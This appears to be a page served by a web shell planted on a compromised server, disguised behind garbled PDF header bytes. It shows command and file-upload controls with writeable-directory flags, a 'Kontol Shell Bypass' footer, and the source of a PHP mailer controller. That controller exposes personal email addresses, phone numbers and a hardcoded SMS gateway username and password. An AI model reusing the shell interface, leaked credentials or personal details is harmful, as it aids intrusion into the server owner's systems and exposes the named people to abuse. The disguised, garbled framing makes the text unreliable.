%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital_old.org/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital_old.org/application/controllers/Mailer.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
error_reporting(0);

class Mailer extends CI_Controller {
	
	function __construct() {
        parent::__construct();
        $this->load->library('email');
    	}
	
/*  ------------------  Second email api ----------- */
 	public function send_mail(){
 	
	//$msg = $this->load->view("email_templates/templates.php");
	
	
	$message = "<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
			<html xmlns='http://www.w3.org/1999/xhtml'>
			<head>
			<meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1' />
			<title>Sharda Tech-Sanchaar</title>
			<style type='text/css'>
			a{color:#000066; text-decoration:none;}

			.button {
			display: block;
			width: 115px;
			height: 25px;
			background:#0099CC;
			padding: 10px;
			text-align: center;
			border-radius: 5px;
			color: white;
			font-weight: bold;
			}
			p{text-align:justify;}
			</style>
			</head>

			<body style='font-family:Calibri'>

			<table width='700' border='0' align='center' cellpadding='0' cellspacing='0'>
			  <tbody>
			  <tr>
				<td style='height:10px; line-height:10px;'>&nbsp;</td>
			  </tr>
			  <tr>
				<td><table width='100%' border='0' cellspacing='0' cellpadding='0'>
				  <tbody><tr>
					<td style='height:10px;'>&nbsp;</td>
					<td width='96%'><table width='100%' border='0' cellspacing='0' cellpadding='0'>
					  <tbody><tr>
						<td style='text-align:center;' width='100%'><img width='320' src='https://www.sharda.ac.in/images/Logo_v2.png' class='CToWUd'></td>
						<td width='28%'><table width='100%' border='0' cellspacing='0' cellpadding='0' align='right'>
						  <tbody>
						</tbody></table></td>
					  </tr>
					</tbody></table></td>
					<td style='height:10px;'>&nbsp;</td>
				  </tr>
				</tbody></table></td>
			  </tr>
			  <tr>
				<td style='height:10px; line-height:10px;'>&nbsp;</td>
			  </tr>
			  <tr>
				<td style='background:#1f5077;float:left;width:100%;height:5px'></td>
			  </tr>
			  <tr>
				<td>&nbsp;</td>
			  </tr>
			  <tr>
				<td><table width='100%' border='0' cellspacing='0' cellpadding='0'>
				  <tbody>
				  <tr>
					<td>&nbsp;</td>
					<td style='background:#fff;'><table width='100%' border='0' cellspacing='0' cellpadding='0'>
					  <tbody><tr>
						<td width='2%'>&nbsp;</td>
						<td width='95%' style='font-family:Arial,Helvetica,sans-serif;font-size:13px'>
						<p style='font-family:Arial,Helvetica,sans-serif;font-size:20px;color:#333333'>Dear All,</p>
						<p><img src='img/Campus.jpg' class='CToWUd' style='width: 100%;'></p>
						<p><strong>About the topic:-</strong>&nbsp;</p>

						<p>1st October is celebrated as the International Day for Elderly People each year which was first established at 14th of December in the year 1990 by the United Nations General Assembly. International Day for Older Persons is specially celebrated for the senior citizens all across the world to focus on the responsibilities towards their lives through the demonstration of promotional material in schools, institutions, offices and public notice boards. People are getting encouraged about their responsibilities towards the lives of elder people to make their life better and happy by analyzing all the problems affecting the life of older people.</p>

						<p><strong>Theme:- Take a stand for elderly</strong></p>

						<ul>
							<li>Rules for poster competition:-</li>
							<li>Participants have to bring their sheets, colors, crayons etc on their own.</li>
							<li>Theme or message on the poster is mandatory.</li>
							<li>Time given will be one and a half hour.</li>
							<li>Theme is any event related to the take a stand for the elderly.</li>
						</ul>

						<p><strong>Objective of Event:</strong></p>

						<ul>
							<li>To create awareness among the students to respect an elderly</li>
							<li>To generate awareness among students about issues which affects the elderly.</li>
							<li>To appreciate their contribution towards the society.</li>
							<li>To create opportunity for the students to highlight needs and challenges of aging in today s world.</li>
						</ul>

						<p><strong>Convener Detail:</strong></p>

						<p>Prof. Pauline Sharmila, 8800998805, pauline.sharmila@sharda.ac.in</p>

						<p><strong>Co-Ordinator Details:</strong></p>

						<p>Sanjay Saini, 9588298391, sanjay.saini@sharda.ac.in</p>

						<p>Abhilasha Francis, 8860404151, abhilasha.francis@sharda.ac.in</p>

						<p>Program Details:</p>

						<p><strong>Date: </strong>1st October 2018</p>

						<p><strong>Venue: </strong>SNSR, Block-4,Sharda University</p>

						<p><strong><em>For more details,</em><a href='http://www.shardaevents.com/event/poster-competition-on-international-day-for-the-elderly/'>Click Here&nbsp;</a></strong></p>
						
						<p><strong>Thanks and Regards</strong></p>
						<p>Sharda University</p>
						
						 </td>
						<td width='3%'>&nbsp;</td>
					  </tr>
					</tbody></table></td>
					<td>&nbsp;</td>
				  </tr>
				  <tr>
					<td width='2%'>&nbsp;</td>
					<td width='96%' style='background:#fff'>&nbsp;</td>
					<td width='2%'>&nbsp;</td>
				  </tr>
				</tbody></table></td>
			  </tr>
			  <tr>
				<td>&nbsp;</td>
			  </tr>

			  
			  <tr>
				<td style='background:#1f5077'>&nbsp;</td>
			  </tr>
			 
			</tbody></table>

			</body>
			</html>";
			
	$list = array("praveenpnf@gmail.com","chandni.gupta@shardatech.org","arun.george@shardatech.org");
		
	foreach($list as $newmail){
		
    $this->email->from('praveen.kumar@shardatech.org');
	$this->email->to($newmail);
	$this->email->cc('praveenjaishwal@gmail.com');
    $this->email->subject('Here is your Email');
	$this->email->set_mailtype("html");
	$this->email->message($message);
	$mailss = $this->email->send();
	}
	
	if($mailss){
	echo "<font color='#006633;'>Mail Send Successfully.</font>";
    } else {
	echo "<font color='#990000'>Mail is not send.</font>";	
	}
	}
	


public function pushAlertSMS(){
//$mobile_number, $sms_content;

$feedid    = 363901;
$senderid = urlencode('shardacom_trans');
$username = "9015129267";
$password = "wgtpt";
$api_url = 'http://bulkpush.mytoday.com/BulkSms/SingleMsgApi';
//$mobile_number ='8126020973,9891359656,8810686936';
$mobile_number ='8126020973,9891359656,8810686936';
$sms_content = 'Hello Sanchar';
if(strlen($mobile_number)>=10){
$params_url = '';
//send OTP to user
$params_url = 'feedid='.$feedid.'&senderid='.$senderid.'&username='.$username.'&password='.$password.'&To='.$mobile_number.'&Text='.$sms_content;
$otpresponse = $this->sendOTP($api_url, $params_url); // Send OTP
if($otpresponse){
echo "Sent Message";

}
return $otpresponse;


	}
	}
	/************************ SendOTP **********************/
	
			function sendOTP($url, $params_url){
		
			try {
			$ch = curl_init($url);
			curl_setopt($ch, CURLOPT_POST,1);
			curl_setopt($ch, CURLOPT_POSTFIELDS,$params_url);
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
			curl_setopt($ch, CURLOPT_HEADER,0);
			// DO NOT RETURN HTTP HEADERS
			curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
			// RETURN THE CONTENTS OF THE CALL
			$return_val = curl_exec($ch);
			
			$response = true;
			//Print error if any
			if(curl_errno($ch))
			{
			$response =  'error:' . curl_error($ch);
			}
			curl_close($ch);
			
			return $response;
		} catch (Exception $e) {
			echo 'Caught exception: ',  $e->getMessage(), "\n";
		}
   		}
	
	
	
	}




Kontol Shell Bypass